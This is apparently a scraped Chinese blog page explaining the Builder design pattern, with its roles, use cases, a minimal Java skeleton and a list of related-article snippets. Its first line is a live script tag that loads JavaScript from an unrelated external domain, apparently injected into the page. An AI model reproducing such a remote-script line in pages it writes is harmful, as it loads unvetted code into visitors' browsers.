<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
五:建造模式
建造模式是对象的创建模式,将一个产品的内部表象与产品的生成过程分割开来,从而可以使一个建造过程生成具有不同的内部表象的对象,也可以使客户端不需要知道所生成的产品对象有哪些零件,每个产品的对应零件彼此有何不同,如何建造以及怎么组成的。有时候一个对象在其某些重要的属性没有恰当的值之前,不能使用,比如
email
;还有有时候一个对象的一些性质必须按照某个顺序赋值才有意义,在某个性质没有赋值之前而另外一个性质则无法赋值。这些情况使得性质本身的建造涉及到复杂的商业逻辑。建造模式利用一个导演者对象和具体建造者对象一个一个地建造出对象的零件从而产生完整的产品对象。建造者模式将产品的结构和产品的零件建造过程对客户端隐藏起来,将建造过程进行指挥的责任和具体建造者零件的责任分割开来,达到责任划分和封装的目的。
角色:
抽象建造者角色:定义抽象接口,以规范产品对象的各个组成成分的建造。此接口独立于应用程序的商业逻辑。
具体建造者角色:被应用程序调用逐步创建产品的实例,有连个任务:实现抽象建造者,实现完成创建产品实例的操作;在建造完成后提供产品的实例。
导演者角色:担任这个角色的类调用具体建造者角色以创建产品对象。
产品角色:产品
其中,导演者角色将客户端创建产品的请求划分为对各个零件的建造请求,再将这些请求委派给具体建造者角色。
使用环境:
(1)
需要生成的产品对象有复杂的内部结构
(2)
需要生成的产品对象的属性相互依赖。建造秘史可以强制实行一种分步骤进行的建造过程。
(3)
在对象创建过程中会使用到系统中的其他一些对象,这些对象在产品对象的创建过程中不易得到
package com.co.patterns.builder;
public class Product {
}
public abstract class Builder {
public abstract void buildPart1();
public abstract void buildPart2();
public abstract Product retrieveResult();
}
public class ConcreBuilder extends Builder {
private Product product = new Product();
@Override
public void buildPart1() {
}
@Override
public void buildPart2() {
}
@Override
public Product retrieveResult() {
return product;
}
}
public class Director {
private Builder builder;
public void build() {
builder = new ConcreBuilder();
builder.buildPart1();
builder.buildPart2();
builder.retrieveResult();
}
}
分享到:
相关推荐
建造模式(Builder Pattern)是一种创建型设计模式,它将复杂对象的构建与其表示分离,使得同样的构建过程可以创建不同的表示。这种模式常用于当构造过程需要步骤化,并且每个步骤可能有多种实现时,比如在软件工程...
JAVA-设计模式-创建型模式-建造者模式
Java设计模式-建造者模式详解 Java设计模式-建造者模式详解将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。生成器模式(Builder)是使用多个“小型”工厂来最终创建出一个完整对象。...
java设计模式------------------------------------建造者模式
-java常用设计模式-建造者模式是java中的一种创建型设计模式,它允许开发者通过一步一步地构建复杂对象来创建不同类型的对象。 建造者模式的定义 建造者模式是一种创建型设计模式,它允许开发者通过一步一步地构建...
设计模式之---建造模式 1,建造模式属于对象的创建模式,是将一个产品的内部表象和产品的生产分割出来 2.使用原因:为了将构建复杂对象的过程和它的不见解耦; 3 使用情况:建造模式利用一个导演着对象和一个具体...
建造者模式(Builder Pattern)是一种创建型设计模式,它提供了一种方法来分步骤构建复杂的对象,使得构建过程和表示分离,使得同样的构建过程可以创建不同的表示。这种模式经常在对象的构造过程中需要进行多种选择...
"设计模式-建造者模式" 设计模式是软件开发中常用的解决问题的方法和模式,旨在提高软件的可维护性、灵活性和可重用性。设计模式可以分为三大类:创建型模式、结构型模式和行为型模式。今天,我们将讨论创建型模式...
**建造者模式(Builder Pattern)**是软件设计模式中的一种创建型模式,它允许我们分步骤构建复杂的对象,而无需暴露构建过程。在C++中,这种模式常用于将对象的创建过程与使用过程分离,使得对象的构建更加灵活,...
建造者模式(Builder Pattern)是软件工程中一种用于创建对象的抽象工厂方法,它将复杂的对象构造过程分离开来,使得相同的构造过程可以创建不同的表示。这种模式在C#编程中广泛应用于创建对象的复杂性较高,或者...
建造者模式,是一种创建型设计模式,它提供了一种创建对象的最佳方式,特别是在对象的构建过程比较复杂,需要多个步骤时。在建造者模式中,我们创建一个指导对象(Director),该对象负责组织构建过程,而具体的构建...
建造者模式,是Java设计模式中的重要组成部分,它在软件工程中扮演着构造复杂对象的角色。这个模式的主要目的是将对象的构建过程与表示分离,使得同样的构建过程可以创建不同的表示。通过使用建造者模式,我们可以...
建造者模式(Builder)是Java设计模式中的一种创建型模式,它允许我们分步骤构建复杂的对象,而无需暴露其构造过程。在Android开发中,这种模式尤其有用,因为Android组件如Activity、Fragment等的初始化过程通常...
设计模式通常分为三类:创建型模式(如工厂模式、抽象工厂模式、单例模式、建造者模式、原型模式),结构型模式(如适配器模式、装饰器模式、代理模式、桥接模式、组合模式、外观模式、享元模式)以及行为型模式(如...
建造者模式(Builder Pattern)是一种创建型设计模式,它允许你分步骤地创建一个复杂对象。这个模式通过将构建过程和表示过程分离,使得同样的构建过程可以创建不同的表示。 压缩包文档是一个简单的Python示例,展示...
根据给定文件内容,以下是关于Java设计模式的知识点说明: 1. 策略模式(Strategy Pattern)是一种行为设计模式,允许在运行时选择算法的行为。策略模式的意图是定义一系列算法,将每个算法封装起来,并使它们可以...
在Java中,建造者模式(Builder Pattern)是一种创建型设计模式,它允许你分步骤地构建一个复杂对象。这个模式通过将构建过程和表示过程分离,使得同样的构建过程可以创建不同的表示。建造者模式特别适合用于创建...
设计模式是软件工程中的一种最佳实践,用于解决在软件开发过程中常见的问题。这些模式是由Erich Gamma、Richard Helm、Ralph Johnson和John Vlissides四位大师,通常被称为GoF(Gang of Four),在他们的经典著作...
建造者模式-建造不同的果园 原型模式-建造同样的果园 桥接模式-果园实现统一的种植方法 原型模式-建造同样的果园 原型模式-建造同样的果园 适配器模式-果园改变种植方式 原型模式-建造同样的果园 外观模式-种植不同...
设计模式05-建造者、原型模式 设计模式06-适配器、桥接、组合模式 设计模式07-组合模式、装饰模式 设计模式09-外观模式、享元模式 设计模式10-代理模式、结构型模式大复习 设计模式11-行为模式-责任链、命令模式 ...